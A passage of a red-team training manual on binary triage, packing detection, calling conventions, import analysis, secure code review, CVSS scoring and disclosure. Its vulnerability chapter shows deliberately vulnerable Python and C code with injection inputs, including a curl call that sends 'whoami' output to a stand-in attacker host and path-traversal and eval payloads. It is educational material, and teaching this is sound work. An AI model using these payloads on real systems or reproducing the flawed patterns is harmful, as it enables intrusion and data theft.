| Obfuscated Files or Information: Software Packing | T1027.002 | UPX, Themida, custom packing |
| Obfuscated Files or Information: Binary Padding | T1027.001 | Entropy manipulation |
| Exploitation for Client Execution | T1203 | Source code vulnerability exploitation |
| Software Discovery | T1518 | Binary triage to identify installed tools |
| Deobfuscate/Decode Files or Information | T1140 | Unpacking packed binaries |
1.4 The Triage-Analysis-Report Pipeline
Every RE engagement follows the same three-phase pipeline regardless of the target:
- Triage (10 minutes): entropy scan, section names, import count, string extraction, packer signature check. Produces a classification and a go/no-go decision for deeper analysis.
- Analysis (hours to days): disassembly, decompilation, dynamic analysis in a sandbox, network behavior, memory forensics. This is what fills the middle of an RE report.
- Report (hours): structured findings, CWE mapping, CVSS score, detection rules, remediation recommendations. This is what the client acts on.
Phase 11 labs cover the triage stage (Lab 01) and the source code analysis component of stage two (Lab 02). The report stage is covered in Phase 12.
Chapter 2: Binary Triage Workflow
2.1 The 10-Minute Triage
When a binary lands on your analysis workstation, you have ten minutes before you need to produce a preliminary assessment. A professional triage follows these steps in order:
Step 1 — File type identification (30 seconds)
Use file on Linux/macOS or a tool like Detect-It-Easy (DIE) on Windows. Do not
trust the file extension. A DLL named .exe is common. Obfuscated PE files sometimes
have no extension at all. The file command reads magic bytes:
- PE: first two bytes are
MZ(0x4D 0x5A) - ELF: first four bytes are
\x7fELF - Mach-O: first four bytes are
\xfe\xed\xfa\xce(32-bit) or\xfe\xed\xfa\xcf(64-bit)
The PE Optional Header further distinguishes PE32 (32-bit) from PE32+ (64-bit).
Step 2 — Hash and pivot (1 minute)
Compute SHA-256. Submit to VirusTotal (if the engagement permits external data transfer — most red team rules of engagement do NOT). Cross-reference with internal threat intel if available. If the hash matches a known sample, your triage may already be complete.
Step 3 — Section analysis (2 minutes)
List all sections and their entropy values. Tools: readpe (Linux), PE-bear (Windows),
python-pefile (scripted). Normal PE sections:
| Section | Typical Entropy | Contents |
|---|---|---|
.text | 5.0–6.5 | Executable code (instruction mnemonics have moderate entropy) |
.rdata | 3.5–5.5 | Read-only data (strings, vtables, import/export tables) |
.data | 2.0–4.5 | Initialized writable data |
.rsrc | 2.0–7.5 | Resources (icons, strings, manifests — varies widely) |
.reloc | 3.0–5.0 | Relocation table |
Entropy above 7.0 bits/byte indicates content that has been either compressed or encrypted. This is the primary packing indicator. See Chapter 3 for the mathematical foundation.
Step 4 — Import table analysis (2 minutes)
The import table is the binary's dependency manifest. It tells you which DLLs the binary
loads at startup and which functions it calls from those DLLs. See Chapter 5 for the
complete intent-signal taxonomy. Critical observation: a legitimate executable typically
has dozens to hundreds of imports. A packed binary may have only two to five — typically
LoadLibraryA and GetProcAddress, the minimum needed to reconstruct its import table
at runtime after unpacking.
Step 5 — String extraction (2 minutes)
Run strings (minimum printable length 6) against the binary. Look for:
- URLs and IP addresses (C2 indicators)
- File paths (operational artifacts)
- Registry key paths (persistence indicators)
- Command strings (
cmd.exe,powershell,wscript) - PDB paths (developer artifact — reveals internal project name and directory structure)
- Mutex names (anti-collision identifiers shared across malware instances)
Step 6 — Metadata analysis (1 minute)
Check the PE timestamp field. A timestamp of 0 means it was zeroed — a deliberate opsec measure. The timestamp of a legitimate binary reflects its compile time. Attackers zero the timestamp to prevent analysts from inferring build dates. Zeroed timestamps are correlated with professional threat actors (FIN groups, state-sponsored).
Imphash (import hash): a hash of the import table's DLL and function names in canonical order. Identical imphash values across samples indicate they share a compiler toolchain and import set — a clustering signal for malware families.
Step 7 — Classification and escalation decision (1 minute)
Based on steps 1–6, classify the binary:
- Loader: loads and executes another payload. Indicators:
LoadLibraryA+GetProcAddressas only imports, reflective loading export, high entropy sections. - Injector: injects code into another process. Indicators:
NtAllocateVirtualMemory+NtWriteVirtualMemoryorWriteProcessMemory,OpenProcess. - Credential stealer: targets authentication material. Indicators:
lsass,SAM,NTLMin strings,ReadProcessMemoryin imports. - Dropper: downloads and executes a next-stage payload. Indicators: HTTP URL strings,
WinInetorWinHTTPimports, packing. - Unknown: proceed to deep analysis.
2.2 Tooling Stack for Binary Triage
| Tool | Platform | Purpose |
|---|---|---|
file | Linux/macOS | Magic byte identification |
strings | Linux/macOS | Printable string extraction |
readelf | Linux | ELF binary analysis |
readpe / objdump | Linux | PE section and import analysis |
| PE-bear | Windows | GUI PE editor and analyzer |
| Detect-It-Easy (DIE) | Cross-platform | Packer detection, file type ID |
| Ghidra | Cross-platform | NSA-released free disassembler/decompiler |
| Binary Ninja | Cross-platform | Commercial disassembler with Python API |
| IDA Pro | Cross-platform | Industry-standard disassembler |
| x64dbg | Windows | Open-source 64-bit debugger |
| Cuckoo Sandbox | Cross-platform | Automated dynamic analysis sandbox |
Chapter 3: Shannon Entropy and Packing Detection
3.1 Information Theory Foundation
Claude Shannon introduced entropy as a measure of information density in his 1948 paper "A Mathematical Theory of Communication." In the context of binary analysis, entropy measures how unpredictable the byte values in a region of the binary are.
The entropy formula for a sequence of bytes is:
H = - sum(p_i * log2(p_i)) for each unique byte value i
Where:
His entropy in bits per byte (range: 0.0 to 8.0)p_iis the probability that a randomly selected byte equals valuei- The sum runs over all 256 possible byte values (0x00 through 0xFF)
log2(0) * 0is defined as 0 (limit convention)
Interpretation:
H = 0.0: Every byte is identical. Example: a section filled with0x00bytes.H = 8.0: Every byte value (0–255) appears with equal frequency. This is the theoretical maximum and is approached by compressed, encrypted, or random data.H ≈ 5.0–6.5: Normal executable code. x86 instruction encodings have moderate but non-uniform distribution.H > 7.0: Almost certainly compressed, encrypted, or packed content.
3.2 Why Packing Drives Entropy High
A PE packer works in two stages:
- Packing stage (build time): The packer takes the original PE sections, compresses or encrypts them, and writes the result as new section data. Compression removes redundancy (low-entropy patterns), pushing the byte distribution toward uniformity. Encryption (even XOR with a random key) makes byte values pseudo-random.
- Unpacking stub (runtime): The packed binary contains a small executable stub (the "unpacking engine") in a low-entropy section (because stub code is x86 instructions, not random bytes). When the OS loads the binary, execution begins at the stub's entry point. The stub decompresses or decrypts the original sections into memory and then transfers execution to the original entry point (OEP — Original Entry Point).
This explains why packed binaries look the way they do:
- High-entropy sections (the packed payload — compressed or encrypted original code)
- Very few imports (the stub only needs
VirtualAllocand the minimal Win32 API to reconstruct the real import table at runtime) - Sometimes a single
.textsection (all the compressed data in one blob) or specially named sections (.UPX0,.UPX1)
3.3 UPX Packer
UPX (Ultimate Packer for eXecutables) is an open-source, portable packer. It is the most commonly encountered packer in malware because it is:
- Free and well-documented
- Available for dozens of file formats and platforms
- Easy to automate
- Not inherently malicious (it is used by legitimate software for distribution size reduction)
UPX packed binaries are recognizable by section names:
| Section | Content |
|---|---|
.UPX0 | Packed (compressed) original code — high entropy, typically no data |
.UPX1 | Unpacking stub code — normal x86 entropy |
.rsrc | Optional — resources not packed by UPX |
The .UPX0 section has a raw size of zero but a virtual size equal to the uncompressed
payload size. This layout is unique to UPX and is a reliable detection signature.
UPX can be detected and unpacked with the upx -d command, which reverses the packing
process: upx -d packed_binary.exe -o unpacked.exe.
3.4 Themida
Themida is a commercial software protector (not a packer in the traditional sense — it is a virtualizer and protector). It is substantially harder to defeat than UPX. Themida:
- Encrypts the original code
- Replaces instructions with custom virtual machine bytecode that runs on a proprietary VM engine embedded in the binary
- Actively detects and defeats debuggers (anti-debug), disassemblers, and memory scanners
- The protected section is typically named
themidaor.themida
Themida-protected binaries have high entropy in the protected section because the VM bytecode and encryption keys produce near-random byte distributions. Import tables are minimal because all API calls are redirected through the VM.
3.5 Computing Entropy in Python
import math
from collections import Counter
def shannon_entropy(data: bytes) -> float:
"""Compute Shannon entropy of byte sequence. Returns bits per byte (0.0-8.0)."""
if not data:
return 0.0
n = len(data)
counts = Counter(data)
return -sum((c / n) * math.log2(c / n) for c in counts.values())
For a section filled with 256 equally frequent byte values:
H = -256 * (1/256) * log2(1/256) = -256 * (1/256) * (-8) = 8.0
For a section filled with identical bytes (say, all 0x00):
H = -(1.0 * log2(1.0)) = -(1.0 * 0) = 0.0
3.6 False Positives
High entropy does not guarantee packing. These legitimate cases also produce high entropy:
- Encrypted resources: DRM-protected content, license keys stored encrypted in
.rsrc - Compressed data: ZIP/ZLIB compressed resources embedded in the binary
- Cryptographic tables: AES S-box constants, elliptic curve parameters
- Media data: Audio, video, or image data embedded as resources
This is why the packing detection heuristic combines entropy with import count: a packed binary typically has both high entropy AND very few imports. A binary with high entropy but a full, rich import table is more likely to contain embedded compressed resources than to be a packed loader.
Chapter 4: x86-64 Calling Conventions
4.1 Why Calling Conventions Matter for RE
When analyzing disassembled code, you need to understand how function arguments are passed and how return values are communicated. Without this knowledge, you cannot:
- Identify what data a function receives as input
- Identify what a function returns
- Understand how the stack is set up and cleaned up around calls
- Reconstruct function signatures during decompilation
Two calling conventions dominate x86-64 analysis: System V AMD64 ABI (Linux, macOS, BSDs) and Microsoft x64 ABI (Windows). They are different and incompatible.
4.2 System V AMD64 ABI (Linux and macOS)
Defined in the "System V Application Binary Interface, AMD64 Architecture Processor Supplement" (often called "the System V ABI" or "the psABI").
Integer and pointer arguments (first 6):
| Position | Register |
|---|---|
| 1st arg | RDI |
| 2nd arg | RSI |
| 3rd arg | RDX |
| 4th arg | RCX |
| 5th arg | R8 |
| 6th arg | R9 |
Arguments beyond the sixth are pushed onto the stack right-to-left.
Return value: RAX for integer/pointer return values up to 64 bits. RDX:RAX for
128-bit integers. Floating-point return values use XMM0.
Caller-saved (volatile) registers: RAX, RCX, RDX, RSI, RDI, R8, R9, R10, R11. These may be overwritten by the callee; the caller must save them before the call if it needs their values afterward.
Callee-saved (non-volatile) registers: RBX, RBP, R12, R13, R14, R15. The callee must preserve these across the call.
Red zone: The 128 bytes below RSP are reserved (the "red zone"). A leaf function (one that makes no further calls) can use this area without adjusting RSP. Non-leaf functions must subtract from RSP to allocate stack space.
Stack alignment: RSP must be 16-byte aligned immediately before the call instruction.
A call pushes an 8-byte return address, making RSP 8-byte aligned at function entry.
The standard prologue restores 16-byte alignment.
Standard prologue:
push rbp ; save caller's base pointer (callee-saved)
mov rbp, rsp ; establish stack frame (RBP = frame pointer)
sub rsp, N ; allocate N bytes of local storage (N = 16-byte aligned)
Standard epilogue:
leave ; equivalent to: mov rsp, rbp; pop rbp
ret ; pop return address from stack and jump to it
Or equivalently:
mov rsp, rbp ; deallocate local storage
pop rbp ; restore caller's base pointer
ret
4.3 Microsoft x64 ABI (Windows)
Integer and pointer arguments (first 4):
| Position | Register |
|---|---|
| 1st arg | RCX |
| 2nd arg | RDX |
| 3rd arg | R8 |
| 4th arg | R9 |
Arguments beyond the fourth are pushed onto the stack.
Key difference from System V: Only 4 register arguments vs 6. The first argument goes in RCX (not RDI). This is the most common source of confusion when switching between Linux and Windows RE.
Shadow space (home space): The caller must allocate 32 bytes (four 8-byte slots) of "shadow space" on the stack before any call, even if fewer than four arguments are passed. This gives the callee space to spill (save) the register arguments if it needs to. The callee does NOT need to use this space, but the caller MUST allocate it.
sub rsp, 40 ; 32 bytes shadow + 8 to maintain 16-byte alignment
call some_function
add rsp, 40 ; clean up shadow space
Caller-saved (volatile) registers: RAX, RCX, RDX, R8, R9, R10, R11.
Callee-saved (non-volatile) registers: RBX, RBP, RDI, RSI, R12, R13, R14, R15, XMM6-XMM15. Note: RDI and RSI are callee-saved on Windows (opposite of System V where they are caller-saved argument registers).
Return value: RAX for integer/pointer.
Stack alignment: RSP must be 16-byte aligned before the call instruction.
4.4 Reading Function Prologues in Disassembly
When you see these patterns in disassembly, recognize them immediately:
System V function start:
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 80 bytes of local storage
Windows x64 function start:
push rbp
mov rbp, rsp
sub rsp, 0x28 ; 32 bytes shadow + 8 bytes alignment
Leaf function (no stack frame, uses red zone — System V only):
; No prologue at all — function starts directly with work
mov eax, [rdi]
ret
Saving callee-saved registers (Windows):
push rbp
push rbx ; Windows: callee-saved
push rdi ; Windows: callee-saved (unlike System V)
push rsi ; Windows: callee-saved (unlike System V)
mov rbp, rsp
sub rsp, 0x20
4.5 Calling Convention Misidentification — A Common RE Error
This happens when analyzing Windows malware using a disassembler configured for System V.
The decompiler may attribute the wrong arguments to function parameters. If you see
what looks like a function that reads from RDI at the start of a Windows binary's
user-mode code, the decompiler is wrong — Windows functions receive their first argument
in RCX, not RDI. Always verify the target OS's ABI before interpreting decompiled
pseudo-code.
Chapter 5: Import Table Analysis as Intent Signal
5.1 The Import Table as a Behavioral Manifest
The PE Import Address Table (IAT) is a structured list of DLL names and function names that the loader resolves at process startup. Every function call to an external DLL goes through the IAT at runtime. Before any code executes, the Windows loader reads the import directory, loads each DLL, resolves each function's address, and writes it into the IAT. From an analysis perspective, this means:
The import table is a declaration of intent. A binary that imports NetUserEnum
and LsaEnumerateLogonSessions is declaring that it enumerates user accounts and
active logon sessions. A binary that imports WriteProcessMemory and CreateRemoteThread
is declaring that it writes into another process and starts a thread there.
5.2 High-Signal Import Combinations
These import combinations have high specificity for malware classification:
Loader / Shellcode runner:
LoadLibraryA+GetProcAddress(alone, with no other imports): The classic loader skeleton. These two functions are sufficient to call any other Win32 API at runtime by resolving it dynamically, allowing the packer or loader to hide all other API usage.VirtualAlloc+VirtualProtect: Allocate executable memory and mark it executable. Combined with the above, this is the complete shellcode execution primitive.
Process injection:
OpenProcess+VirtualAllocEx+WriteProcessMemory+CreateRemoteThread: Classic remote process injection (T1055.001). Opens a target process, allocates memory, writes shellcode, starts a thread.NtAllocateVirtualMemory+NtWriteVirtualMemory+NtCreateThreadEx: NT native API variant — avoids the Win32 layer, harder to hook, preferred by sophisticated malware.
Credential theft:
MiniDumpWriteDump+OpenProcess: LSASS dump. Combined with LSASS process handle, this is the Mimikatz credential dump primitive.SamOpenDatabase+SamOpenDomain+SamEnumerateUsersInDomain: Direct SAM access. Reads the local SAM database for password hashes.LsaOpenPolicy+LsaRetrievePrivateData: LSA secrets access. Reads LSA-protected credentials from registry-backed storage.
Network communication:
InternetOpenA+InternetOpenUrlA+InternetReadFile(WinInet): Classic HTTP client. C2 beacons typically use WinInet orWinHttpOpen+ friends.socket+connect+send+recv(Winsock): Raw socket communication. DNS-over-TCP, custom binary protocols.WSAStartupalone: Winsock initialization. Any network activity requires this.
Anti-analysis:
IsDebuggerPresent+CheckRemoteDebuggerPresent: Basic debugger detection.GetTickCount64+ timing checks: Timing-based anti-analysis.NtQuerySystemInformation: Used to enumerate processes or detect sandbox artifacts.
5.3 Reconstruction at Runtime (Import Hiding)
A packed or obfuscated binary may have NO visible import table entries, or only
LoadLibraryA and GetProcAddress. The real API calls are resolved at runtime:
1. Unpacking stub decrypts/decompresses the original code into RWX memory.
2. Code constructs a string "kernel32.dll" and calls LoadLibraryA(string).
3. Code constructs a string "VirtualAlloc" and calls GetProcAddress(handle, string).
4. Returned function pointer is stored in a variable and called directly.
This hides all imports from the static IAT. Detection strategies:
- Entropy analysis (reveals packing, which triggers dynamic analysis)
- API call tracing in sandbox (Cuckoo, Any.run)
- Breakpoint on
GetProcAddressin debugger and log all resolved functions
5.4 Classification Decision Tree
Is import count <= 3?
YES -> Likely packed or obfuscated. Check entropy (Chapter 3).
NO -> Continue classification.
Does import set contain:
NtAllocateVirtualMemory AND (NtWriteVirtualMemory OR WriteProcessMemory)?
YES -> Injector. T1055 family.
ReadProcessMemory AND (lsass OR SAM strings)?
YES -> Credential stealer. T1003 family.
WinInet OR WinHTTP API family?
YES -> Network capability. Check for C2 URL strings.
Nothing suspicious?
YES -> Legitimate or highly obfuscated. Proceed to dynamic analysis.
Chapter 6: Source Code Review Methodology
6.1 Why Source Code Review Is an RE Skill
Source code review sits at the intersection of reverse engineering and vulnerability research. When you have access to source code — through a phishing engagement that yields internal repository access, a misconfigured Git server, an S3 bucket with source code, or as part of a white-box engagement — structured code review accelerates vulnerability discovery by orders of magnitude compared to binary analysis.
The same mental model applies: you are reading an artifact (source code rather than a binary) to understand behavioral intent, and specifically to identify where the code performs dangerous operations with attacker-controlled data.
6.2 The Source Code Review Mental Model
The fundamental question in source code review is:
Does attacker-controlled data flow from an input source to a dangerous sink without adequate sanitization or validation?
- Source: Where attacker-controlled data enters the application. HTTP request parameters, URL path segments, uploaded file names, JSON body fields, HTTP headers, environment variables.
- Sink: Where dangerous operations occur. Database query execution, command execution, file system access, deserialization, template rendering.
- Sanitization: What transformations or validations occur between source and sink. Are they correct? Are they bypassable? Are they applied consistently?
When a source reaches a sink without proper sanitization, a vulnerability exists.
6.3 Structured Review Workflow
Phase 1 — Reconnaissance (10 minutes)
- Identify the technology stack and frameworks
- Find all input sources: HTTP handlers, file upload endpoints, CLI argument parsers, etc.
- Identify all sinks: database calls, subprocess calls, file I/O, eval/exec calls
Phase 2 — High-risk pattern scan (20 minutes per component)
- Search for patterns by vulnerability class (see Chapter 7)
- Use grep or a semantic code search tool (Semgrep, CodeQL)
- Produce a prioritized hit list: CRITICAL first
Phase 3 — Taint analysis (per finding)
- For each hit: trace the data backward from the sink to its source
- Determine if attacker-controlled data reaches the sink
- Identify any sanitization in the data flow and assess its adequacy
Phase 4 — Proof of concept construction
- For high-confidence findings, construct a minimal PoC input that demonstrates impact
- Document the complete data flow from source to sink
- Assign a CWE and CVSS score
6.4 Tool-Assisted Review
| Tool | Type | Strengths |
|---|---|---|
| Semgrep | Pattern matching | Fast, rule-based, good for known-bad patterns |
| CodeQL | Semantic analysis | Taint tracking, understands data flow |
| Bandit | Python-specific | Focuses on Python common pitfalls |
| Brakeman | Ruby on Rails | Framework-aware for Rails apps |
| SpotBugs / FindSecBugs | Java | Java-specific security patterns |
| Checkmarx | Commercial SAST | Full data flow, enterprise scale |
For the Cedar Lattice engagement, Meridian Freight runs a Python Django backend. Bandit and Semgrep with the Python rule packs are the appropriate starting points.
Chapter 7: Vulnerability Classes
7.1 CWE-89: SQL Injection
Definition: The application uses user-supplied input to construct SQL queries without adequate sanitization or parameterization.
Why it is dangerous: SQL injection allows an attacker to alter the semantics of a
database query. Depending on the database and query, impact ranges from data exfiltration
(reading unauthorized rows), authentication bypass (making WHERE password = '...' always
true), data destruction (DELETE FROM users), to remote code execution via
xp_cmdshell in SQL Server or COPY TO/FROM PROGRAM in PostgreSQL.
Python vulnerable pattern:
# VULNERABLE: string concatenation into SQL
def get_shipment(conn, shipment_id):
query = "SELECT * FROM shipments WHERE id = " + shipment_id
cursor = conn.execute(query)
return cursor.fetchone()
# VULNERABLE: %-style string formatting
def get_user(conn, username):
query = "SELECT * FROM users WHERE name = '%s'" % username
return conn.execute(query).fetchone()
# VULNERABLE: f-string
def get_order(conn, order_id):
query = f"SELECT * FROM orders WHERE id = {order_id}"
return conn.execute(query).fetchone()
Safe pattern (parameterized queries):
# SAFE: parameterized query — user input never interpreted as SQL
def get_shipment_safe(conn, shipment_id):
cursor = conn.execute(
"SELECT * FROM shipments WHERE id = ?",
(shipment_id,)
)
return cursor.fetchone()
Detection rule pattern: Look for SQL keywords (SELECT, INSERT, UPDATE, DELETE, WHERE) on lines that also contain string concatenation operators or f-string variable markers.
MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
7.2 CWE-78: Command Injection
Definition: The application uses user-supplied input in a command that is executed by the operating system shell without adequate sanitization.
Why it is dangerous: Command injection allows an attacker to execute arbitrary OS commands in the context of the application process. If the application runs as a privileged user, the attacker gains the same privileges. Combining command injection with a network- accessible endpoint yields remote code execution (RCE) — the highest-impact class of web vulnerability.
Python vulnerable patterns:
import os
import subprocess
# VULNERABLE: os.system with user input
def run_diagnostic(tool_name):
os.system("ping -c 4 " + tool_name)
# Attack input: "localhost; cat /etc/passwd"
# Executed: ping -c 4 localhost; cat /etc/passwd
# VULNERABLE: subprocess with shell=True
def generate_report(output_path, fmt):
subprocess.run(f"reportgen --format {fmt} --output {output_path}", shell=True)
# Attack input for fmt: "json && curl http://attacker.com/$(whoami)"
# VULNERABLE: eval() with user input
def load_config(config_expr):
return eval(config_expr)
# Attack input: "__import__('os').system('id')"
Safe alternatives:
# SAFE: list form, no shell
def run_diagnostic_safe(tool_name):
# No shell=True; list form prevents command injection
subprocess.run(["ping", "-c", "4", tool_name], capture_output=True)
# SAFE: parameterized, shell=False (default)
def generate_report_safe(output_path, fmt):
allowed_formats = {"json", "csv", "pdf"}
if fmt not in allowed_formats:
raise ValueError(f"Invalid format: {fmt}")
subprocess.run(["reportgen", "--format", fmt, "--output", output_path])
Detection rule pattern: Lines containing os.system(, shell=True (not in comments),
or eval(.
7.3 CWE-22: Path Traversal
Definition: The application uses user-supplied input to construct a file path without adequate validation, allowing an attacker to access files outside the intended directory.
Why it is dangerous: Path traversal allows an attacker to read or write arbitrary files
accessible to the application process. Common targets: /etc/passwd, /etc/shadow,
application configuration files with database credentials, SSH private keys, environment
files with API keys.
Python vulnerable patterns:
import os
# VULNERABLE: string concatenation in open()
def serve_document(request):
filename = request.args.get("file")
with open("/var/app/docs/" + filename, "rb") as f:
return f.read()
# Attack input: "../../etc/passwd"
# Resolved: open("/var/app/docs/../../etc/passwd")
# Effective: open("/etc/passwd")
# VULNERABLE: os.path.join() with user input — join does NOT sanitize traversal
def get_config(args):
config_path = os.path.join("/etc/app/configs", args["username"])
with open(config_path) as f:
return f.read()
# Common misconception: os.path.join() is NOT safe for user-supplied paths.
# os.path.join("/etc/app", "../etc/passwd") = "/etc/app/../etc/passwd"
# os.path.normpath() resolves it to "/etc/passwd" — still traversed.
# Only os.path.realpath() + prefix check prevents traversal.
Safe pattern:
import os
SAFE_BASE = "/var/app/docs"
def serve_document_safe(request):
filename = request.args.get("file")
# Resolve to absolute path
full_path = os.path.realpath(os.path.join(SAFE_BASE, filename))
# Verify the resolved path is within the allowed base directory
if not full_path.startswith(SAFE_BASE + os.sep):
raise ValueError("Path traversal detected")
with open(full_path, "rb") as f:
return f.read()
7.4 CWE-502: Deserialization of Untrusted Data
Definition: The application deserializes data from an untrusted source without validation, potentially allowing an attacker to control the deserialized object graph and trigger arbitrary code execution during deserialization.
Python vulnerable pattern:
import pickle
# VULNERABLE: pickle.loads() with user-supplied data
def load_user_session(session_data: bytes):
return pickle.loads(session_data)
# Attack: craft a pickle payload that executes os.system("id") during deserialization
# Python pickle allows arbitrary __reduce__ methods which run during load.
The pickle module's documentation explicitly states it is NOT secure. Any pickle.loads()
call on data that an attacker can control is a critical vulnerability — it is effectively
remote code execution with no additional precondition.
Safe alternative: Use JSON for data serialization where possible. If complex objects
must be serialized, use a library like marshmallow with strict schema validation, or
define an allow-list of safe types and use pickle.loads() only with validated data from
trusted sources (which effectively means never from network input).
7.5 CWE-120: Buffer Copy Without Checking Size (Classic Buffer Overflow)
Definition: The application copies data into a fixed-size buffer without verifying that the data fits, allowing an attacker to overwrite adjacent memory.
This vulnerability is most relevant in C and C++ code. Python's memory model prevents
classic buffer overflows in pure Python. However, Python C extensions and native bindings
(.so / .pyd files) can contain classic buffer overflows reachable through Python calls.
C vulnerable pattern (for understanding, not Python):
// VULNERABLE: strcpy without length check
void process_input(char *user_data) {
char buffer[64];
strcpy(buffer, user_data); // No length check — overflow if len(user_data) > 63
}
For red team purposes, CWE-120 surfaces in:
- Native modules called from Python scripts
- Embedded systems running C code exposed via APIs
- Legacy C/C++ code in the Meridian Freight logistics system
Chapter 8: CVSS v3.1 Scoring
8.1 What CVSS Is and What It Is Not
The Common Vulnerability Scoring System (CVSS) v3.1 is a standardized framework for assessing the severity of security vulnerabilities. It produces a numeric score from 0.0 to 10.0 and a qualitative label (None, Low, Medium, High, Critical). CVSS is published by FIRST (Forum of Incident Response and Security Teams).
What CVSS measures: The intrinsic severity of a vulnerability — how difficult it is to exploit and what impact successful exploitation has. It is environment-agnostic by design for the Base Score.
What CVSS does NOT measure:
- Exploitation likelihood in practice (Temporal Score partially addresses this)
- Business impact (Environmental Score partially addresses this)
- Whether a patch is available
- The actual risk to a specific organization
A CVSS score is one data point. A critical vulnerability in an isolated internal system that requires physical access may be less urgent than a high-severity vulnerability in an internet-facing authentication endpoint.
8.2 Base Score Metrics
The Base Score is computed from eight metrics in two groups:
Exploitability Metrics (how easy is it to exploit?):
| Metric | Abbreviation | Values | Notes |
|---|---|---|---|
| Attack Vector | AV | N / A / L / P | Network / Adjacent / Local / Physical |
| Attack Complexity | AC | L / H | Low / High |
| Privileges Required | PR | N / L / H | None / Low / High |
| User Interaction | UI | N / R | None / Required |
Impact Metrics (what is the damage if exploited?):
| Metric | Abbreviation | Values | Notes |
|---|---|---|---|
| Scope | S | U / C | Unchanged / Changed |
| Confidentiality | C | N / L / H | None / Low / High |
| Integrity | I | N / L / H | None / Low / High |
| Availability | A | N / L / H | None / Low / High |
8.3 Metric Values in Detail
Attack Vector (AV):
N(Network): Exploitable remotely without physical or network proximity. Example: SQL injection in a web application. This is the highest risk.A(Adjacent): Requires network adjacency (same subnet, Bluetooth, etc.). Example: ARP spoofing on a local LAN.L(Local): Requires a local user account or equivalent local access. Example: privilege escalation via SUID binary.P(Physical): Requires physical access to the device. Example: cold boot attack on encrypted disk.
Attack Complexity (AC):
L(Low): No special conditions required. Reproducible reliably. Example: SQL injection with no WAF, no rate limiting.H(High): Requires specific conditions (race condition, non-default config, prior knowledge of internal state). Example: race condition in a file write operation.
Privileges Required (PR):
N(None): No authentication required.L(Low): Requires low-privilege authenticated access.H(High): Requires high-privilege (admin/root) access.
User Interaction (UI):
N(None): No user action required beyond the attacker's own actions.R(Required): A victim user must perform some action (click a link, open a file).
Scope (S):
U(Unchanged): Exploitation impacts only the vulnerable component itself.C(Changed): Exploitation can impact components beyond the vulnerable component. Example: container escape from a container into the host OS.
Confidentiality / Integrity / Availability (C/I/A):
N(None): No impact on this property.L(Low): Some loss, but limited in scope.H(High): Total loss of confidentiality, integrity, or availability.
8.4 Qualitative Severity Ranges
| Score | Severity |
|---|---|
| 0.0 | None |
| 0.1 – 3.9 | Low |
| 4.0 – 6.9 | Medium |
| 7.0 – 8.9 | High |
| 9.0 – 10.0 | Critical |
8.5 Example Scoring: SQL Injection in Meridian Freight Shipment API
Scenario: SQL injection in the shipment lookup endpoint of the Meridian Freight web application. The endpoint is internet-facing. No authentication is required to reach it. Successful exploitation allows extraction of all shipment records including PII and freight contracts.
| Metric | Value | Rationale |
|---|---|---|
| AV | N | Exploitable over the internet |
| AC | L | No special conditions; straightforward injection |
| PR | N | No authentication required |
| UI | N | No user interaction |
| S | U | Impact limited to the database component |
| C | H | All database records exposed |
| I | H | Data can be modified or deleted via UPDATE/DELETE |
| A | L | Database remains functional; availability minor impact |
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
The CVSS 3.1 calculator produces a Base Score of 9.1 — Critical. This finding must be remediated before production launch and should be escalated immediately upon discovery.
8.6 Example Scoring: Path Traversal in File Download Endpoint
Scenario: Path traversal in the document download endpoint. Requires a valid user session (low-privilege authentication). Can access any file readable by the web application user. On the target server, this includes the application configuration file with database credentials.
| Metric | Value | Rationale |
|---|---|---|
| AV | N | Exploitable over the internet |
| AC | L | Simple traversal payload |
| PR | L | Requires authenticated user session |
| UI | N | No user interaction |
| S | U | Impact on the web application component |
| C | H | Application config with credentials readable |
| I | N | Read-only traversal |
| A | N | No availability impact |
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base Score: 6.5 — Medium. Important finding but lower urgency than the SQL injection above.
Chapter 9: Responsible Disclosure
9.1 What Responsible Disclosure Is
Responsible disclosure (also called coordinated disclosure or CVD — Coordinated Vulnerability Disclosure) is the practice of reporting security vulnerabilities to the affected vendor or developer before public disclosure, giving them time to develop and release a fix, and then publicly disclosing the details.
This stands in contrast to:
- Full disclosure: Immediately publishing all details including a working exploit.
- Non-disclosure (bug hoarding): Keeping the vulnerability secret indefinitely, typically for operational use or sale to exploit brokers.
9.2 The 90-Day Standard
Google Project Zero established the 90-day disclosure deadline in 2014 as a fixed, publicly committed policy. The process:
- Researcher discovers vulnerability and reports it to the vendor privately.
- Vendor receives a 90-day deadline to release a fix.
- At day 90, Project Zero publishes the bug report regardless of vendor fix status.
- If the vendor releases a patch before day 90 but requests more time for customer adoption, Project Zero grants a 14-day grace extension (for a total of 104 days).
- If day 90 passes with no patch, the details are published, sometimes including a PoC.
Why 90 days? Google's stated rationale: 90 days is enough time for a competent vendor to triage, develop, test, and deploy a patch. Longer deadlines reduce pressure for timely fixes and leave users exposed for extended periods. Shorter deadlines favor attackers over defenders.
Industry context: CERT/CC originally used a 45-day standard. MSRC (Microsoft Security Response Center) and other major vendors have largely aligned to 90-day expectations through industry normalization. The ISO/IEC 29147 standard provides a framework for vulnerability disclosure but does not mandate specific timelines.
9.3 The CVD Process Step by Step
Step 1 — Discovery and documentation Document the vulnerability fully before contacting the vendor: reproduction steps, PoC, affected versions, initial CVSS assessment. Do not contact the vendor with a vague report ("there might be a vulnerability") — this wastes everyone's time.
Step 2 — Identify the responsible contact
- security.txt (RFC 9116): Many modern organizations publish a
/.well-known/security.txtfile with their vulnerability disclosure contact. Check this first. security@[domain]: The conventional email address for security reports.- CERT/CC, CISA, or national CERTs: For government or critical infrastructure systems.
- Bug bounty platforms (HackerOne, Bugcrowd): If the vendor runs a public program.
Step 3 — Initial contact Send an encrypted report (PGP if the vendor publishes a key, or through a secure platform). Include: affected component, reproduction steps, impact assessment, CVSS score, your requested disclosure timeline. Do not include a working weaponized exploit in the initial report — a PoC that demonstrates impact is sufficient and reduces risk of the report being weaponized if mishandled.
Step 4 — Coordinate during the fix window Maintain confidential communication with the vendor. Provide any additional technical assistance requested. Track the fix timeline. Request a CVE identifier from MITRE or the vendor's CNA (CVE Numbering Authority) if applicable.
Step 5 — Publication After the patch is released (or the deadline expires), publish:
- A write-up describing the vulnerability class, affected versions, and impact
- The CVSS vector
- The CVE identifier
- Remediation guidance
- Credit to the researcher
